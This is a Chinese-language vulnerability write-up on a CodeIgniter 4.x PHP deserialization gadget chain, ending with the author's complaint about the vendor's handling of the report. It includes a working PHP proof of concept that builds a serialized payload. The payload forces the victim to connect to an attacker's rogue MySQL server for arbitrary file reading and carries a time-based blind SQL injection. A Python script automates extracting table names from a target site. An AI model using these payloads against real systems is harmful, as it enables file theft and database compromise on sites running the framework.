痛心的CodeIgniter4.x反序列化POP鏈挖掘報告
0x00 前言
CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。

文末有筆者與該廠商的一些“小故事”。
0x01 POP鏈分析
當然,反序列化漏洞需要反序列化操作的支撐,因此,筆者定義了一個觸發該反序列化漏洞的控制器,定義于:/app/Controllers/Home.php
主要內容于:
class Home extends BaseController
{
public function index()
{
unserialize($_GET['a']);
}
}
__destruct魔術方法為反序列化漏洞最有效的方法,我們可以全局搜索一下__destruct魔術方法的定義。

可以看到在/system/Cache/Handlers/RedisHandler.php中的__destruct魔術方法中,$this->redis成員屬性沒有任何實例判斷,直接調用close方法,那么$this->redis非常靈活,它可以是任意類的實例化對象,那么我們可以調用任意對象的close()方法。
全局搜索close()方法:

通過全局搜索可以看到,在/system/Session/Handlers/MemcachedHandler.php文件中,存在一個close()方法,在264行的isset($this->memcached)為成員屬性,是可控的,隨后在266行判斷$this->lockKey是否存在,如果存在,則調用$this->memcached->delete($this->lockKey)方法,再次全局搜索delete方法。

通過全局搜索可以看到,在system/Model.php中定義了delete方法,雖然接收兩個參數,有幸的是CI框架將第二個參數給予了默認參數:$purge = false。

在之前的$this->memcached->delete($this->lockKey)雖然只傳遞進來一個參數,但是這種寫法將無視PHP版本號,將此代碼繼續運行下去。

921行調用了$this->builder()方法,我們看一下builder方法的定義。

在1198的賦值操作中可以看到 $table 是可控的,在1206行中進行賦值$this->db->table($table) 的返回內容,我們注意到在1201行進行檢測了$this->db->table的所屬類,如果我們想要代碼繼續往下執行,我們這里只能將$this->db賦值為BaseConnection的實例化對象。
因為在1206行有調用BaseConnection的table成員方法,我們在 /system/Database/BaseConnection.php中查找一下table。

可以看到971行的str_replace操作,當前的類名為BaseConnection,替換后為BaseBuilder類,隨后進行 new BaseBuilder操作,以$tableName以及$this傳遞進去了,需要注意的是,$tableName是可控的。
找到 /system/Database/BaseBuilder.php 文件,并且搜索__construct魔術方法。如圖:

274行將可控的$tableName傳遞進from方法了,我們看一下from方法的定義。

CI框架將$from強制轉換為array類型,并且如果找不到“逗號”就會將$from傳遞到$this->trackAliases方法中。
我們看一下trackAliases方法的定義。

可以看到trackAliases只會處理“$from為數組、$from存在逗號、$from存在空格”的情況,那么該函數我們可以先將其忽略,繼續往下審計。

可以看到,調用$this->db->protectIdentifiers方法。$this->db為BaseConnection類的實例,我們查找BaseConnection下的protectIdentifiers方法。如圖:

其中代碼邏輯貼在圖中,我們繼續往下審計即可。

我們回到調用處,查看一下往下的邏輯。

注意924行調用了BaseBuilder下的whereIn方法,我們看一下這個方法做了一些什么操作。

可以看到$key再次傳入了_whereIn方法,我們看一下_whereIn方法都做了一些什么操作。

隨后直接放入$whereIn這么大的一個數組中,充當Where判斷的Key值。
那么無疑這里是存在一個SQL注入漏洞的。我們不著急,回到Model.php繼續往下通讀。

我們把重點放在952行調用的BaseBuilder下的delete方法,如圖:

2834行調用了resetWrite方法,跟蹤一下看看。

調用了$this->resetRun,繼續跟蹤。

我們可以看到,只是用來設置鍵值的。那么我們看一下2837行的$this->db->query($sql, $this->binds, false)方法。
找到BaseConnection下的query方法,如圖:

繼續跟進initialize方法,如圖:

可以看到,調用了$this->connect($this->pConnect)方法,我們查找一下connect方法,如圖:

我們可以看到,前面存在abstract關鍵字,那么我們全局搜索一下,extends BaseConnection。
如圖:

我們打開system/Database/MySQLi/Connection.php文件,查找connect方法,如圖:

這里需要注意的是118行$this->strictOn以及140行$this->encrypt不要去定義。
下面就是我們期待已久的Mysql鏈接操作了。這里可以利用“MySQL服務端惡意讀取客戶端文件漏洞”來進行任意文件讀取。

這一系列操作完成之后我們回到$this->initialize()魔術方法調用處。繼續往下審計。

實例化CodeIgniter\Database\Query類并調用它下面的getQuery()方法。
在system/Database/query.php找到該類,如圖:

可以看到是來解析占位符的。
調用了compileBinds方法,跟進查看。

跟進404行的matchNamedBinds方法確認。

可以從圖中看到筆者的猜想是沒錯的。
那么我們回到BaseConnection的query方法,繼續觀察。

可以看到調用了一個simpleQuery方法,我們跟進。

又傳入了execute方法,再次跟進,如圖:

可以看到又是抽象方法,那么我們看看是誰繼承了BaseConnection,查找:

跟進并查找execute方法的定義。

此時我們可以看到$this->connID->query($this->prepQuery($sql)),其實$this->connID已經是PHP的Mysqli原生類了,這里我們需要跟進prepQuery方法,看他到底做了一些什么操作。

這里$this->deleteHack是可控的,我們無視即可,那么prepQuery方法等同于什么也沒干,直接帶進了Mysqli::query() 方法,根據我們之前審計出的Model類的primaryKey成員屬性可以進行SQL注入(WHERE 條件處)。
到這里筆者就沒有再次往下審計了,我們的目的只是 任意文件讀取+發送SQL語句。
反序列化的結果CI框架是百分百會拋出異常的,如圖:

再往下讀下去也沒有什么可以利用的價值了。
0x02 通過CI定義的函數觸發反序列化
在我們之前分析POP鏈時,我們使用了unserialize函數來進行演示,那么在CI框架中是否存在unserialize使用不當的問題呢?答案是肯定的。
我們看一下CI框架定義的old方法,如圖:

我們可以看到,782-786行使用“strpos($value, 'a:') === 0 || strpos($value, 's:') === 0”來讓old函數反序列化出必須為“數組/字符串”,但是這種手法是消極的,如果我們反序列化的內容為“a:1:{i:0;O:...}”這種情況還是可以進入到__destruct跳板,然后被利用。
那么我們看一下old函數第768行與770行的邏輯。
$request = Services::request();
$value = $request->getOldInput($key);
我們看一下Services類下的request靜態方法。

我們可以看到,該方法返回了IncomingRequest類的實例,那么$value = $request->getOldInput($key);也就是調用IncomingRequest實例下的getOldInput方法了,我們看一下該方法做了一些什么操作。

可以看到,如果$_SESSION['_ci_old_input']的值不為空,那么該方法就可以返回$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]。
那么問題來了,我們如何將$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]可控呢?
我們全局搜索:'_ci_old_input',如圖:

我們可以看到在/system/HTTP/RedirectResponse.php文件中有提到_ci_old_input,那么我們看一下第125行的$session = $this->ensureSession();,跟進ensureSession方法。如圖:

跟進:

這個方法只是用來對session進行一系列操作的,我們不需要管他,我們回過頭來繼續往下看。

下面的132行調用了setFlashdata方法,根據筆者猜想是用來設置$_SESSION[_ci_old_input]的值,我們跟進setFlashdata看一下邏輯。

在/system/Session/Session.php中的666行可以看到調用了set方法,我們跟進set方法。

看來筆者的猜想是沒錯的。
那么我們將/app/Controllers/Home.php控制器定義為:
class Home extends BaseController
{
public function index()
{
redirect()->withInput();//設置$_SESSION['_ci_old_input']['get'][a]的值
old('a');//得到$_SESSION['_ci_old_input']['get'][a]的值,并進行反序列化操作
}
}
的效果與
class Home extends BaseController
{
public function index()
{
unserialize($_GET[a]);
}
}
的效果是一模一樣的。只是我們編寫POC時,redirect()->withInput() && old('a'); 這種方式,我們需要注意反序列化的結果一定是一個數組,為了POC的通用性,筆者將該POC生成的返回結果為數組。
0x03 POC編寫&&環境依賴
CI框架建立于PHP>=7.2版本,在這些版本中,PHP對屬性修飾符不太敏感,所以我們的POC類中的所有成員屬性的對象修飾符都定義為了public。
但是“MySQL服務端惡意讀取客戶端文件漏洞”在PHP7.3版本的Mysqli鏈接操作中被刻意注意到了這一點。所以該漏洞只能在PHP7.2.x版本中進行利用。
POC如下:
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname = ''; # The attacker's MySQL IP address
public $port = ''; # The attacker's MySQL Port
public $database = ''; # The attacker's MySQL Databases
public $username = 'root'; # The attacker's MySQL UserName
public $password = 'root'; # The attacker's MySQL Password
public $charset = 'utf8'; # utf8
public $escapeChar = '';
public $pretend = false;
}
namespace CodeIgniter;
class Model{
public $db;
public $table = "mysql.user";
public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
public function __construct($db){
$this->db = $db;
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey = '123';
public $memcached = 'a';
public function __construct($memcached){
$this->memcached = $memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
echo urlencode(serialize($a));
0x04 漏洞演示
一、任意文件讀取
需要用到的rogue_mysql_server.py腳本GitHub:https://github.com/Gifts/Rogue-MySql-Server
- 配置POC文件
配置惡意Mysql主機IP(攻擊者外網IP):
- 配置py腳本

- 配置完畢后攻擊機上運行py腳本

- 生成Payload

- 攻擊受害機的反序列化點

- 讀取到C:/Windows/win.ini的內容

二、SQL注入
我們可以通過任意文件讀取漏洞讀取出數據庫賬號密碼,然后再進行SQL注入。

生成Payload后發送:

成功睡眠一秒,但是這樣的注入對于我們來說是很麻煩的,這里我們放在實戰中需要借助于Python腳本來進行批量注入。
具體Python腳本實現思路為:

因為我們要與Python進行交互,那么我們修改PHP-POC的內容為:
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname = '127.0.0.1'; # The attacker's MySQL IP address
public $port = '3306'; # The attacker's MySQL Port
public $database = 'laravel'; # The attacker's MySQL Databases
public $username = 'root'; # The attacker's MySQL UserName
public $password = 'root'; # The attacker's MySQL Password
public $charset = 'utf8'; # utf8
public $escapeChar = '';
public $pretend = false;
}
namespace CodeIgniter;
class Model{
public $db;
public $table = "mysql.user";
public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
public function __construct($db){
$this->db = $db;
$payload = $_GET['payload'];
if(isset($payload)){
$this->primaryKey = $payload;
}
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey = '123';
public $memcached = 'a';
public function __construct($memcached){
$this->memcached = $memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
echo serialize($a);
編寫PythonPoc為:
import requests
PHP_POC = 'http://www.ci.com/hack.php?payload=' # 這里填入 PHP 的 POC
CI_HTTP = 'http://ci.com/public/index.php?a=' # 填入CI站的反序列化點
data = ''
k = 1
while True:
bins = ''
for i in range(1, 8):
payload = "1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) -- "%(k,i)
SeriaText = requests.get(PHP_POC + payload).text
try:
requests.get(CI_HTTP + SeriaText, timeout=1, proxies={'http':'127.0.0.1:8080'})
bins += '0'
except Exception as res:
bins += '1'
if bins == '0000000':
break
else:
data += chr(int(bins, 2))
k += 1
print(data)
逐漸爆出表名:

0x05 與TP3.2.3對比思考
ThinkPHP3.2.3也存在類似的問題,參考:http://cn-sec.com/archives/236781.html
它們兩者漏洞的區別在于:
CI框架使用了mysql_init() 來進行數據庫鏈接,而TP則使用了PDO。這里涉及到了堆疊與非堆疊問題。
CI框架的SQL注入處于WHERE條件,ThinkPHP3.2.3的SQL注入處于表名。
CI框架沒有DEBUG模式,很難進行報錯注入,而ThinkPHP存在DEBUG模式,可以進行報錯注入。
CI框架寫代碼有定義方法默認值的習慣,這樣在我們的反序列化中每個跳板顯得非常的圓潤,而TP3.2.3沒有定義默認值的習慣,這里需要降低PHP版本,來實現反序列化。
CI框架只允許運行在PHP7.2及往上版本,而MySQL惡意服務器文件讀取漏洞只能運行在PHP<7.3版本,所以本次漏洞挖掘只可以運行在剛剛好的PHP7.2.x。而ThinkPHP3.2.3可以運行在PHP5與PHP7版本,ThinkPHP3.2.3的反序列化鏈路只能運行在PHP5.x上,放在PHP7.x會報錯。
文章中將反序列化跳板直接寫上了,實際挖洞過程不忍直視...
0x06 “涼心”框架CI
筆者在4月9號挖掘到了該反序列化漏洞,但Mysql惡意服務器只適用于PHP7.2.*版本,在4月9號筆者通過hackerone向廠商提交了該漏洞,搞不好還可以申請一個CVE編號呢。如圖(翻譯來的):

通過廠商的駁回,筆者當然向CNVD上交該漏洞了。
但CNVD那里今天筆者突然得到了驗證失敗的“駁回”。
如圖:

隨后筆者去錄制驗證視頻時,發現漏洞被“修補”?
我們通過CI框架的官網看到,是適用于PHP7.2.*版本的,如圖:

可是為什么提交給該廠商之前PHP7.2.*可以運行,而廠商駁回后,PHP7.2.*則無法運行了?相信大家心中也已經有了答案。
通過github的最后修改日期我們可以看到該廠商私自修復漏洞的日期。

這是一次痛心的挖洞提交過程,請問安全行業從業者,白帽子們的心血都去哪里了?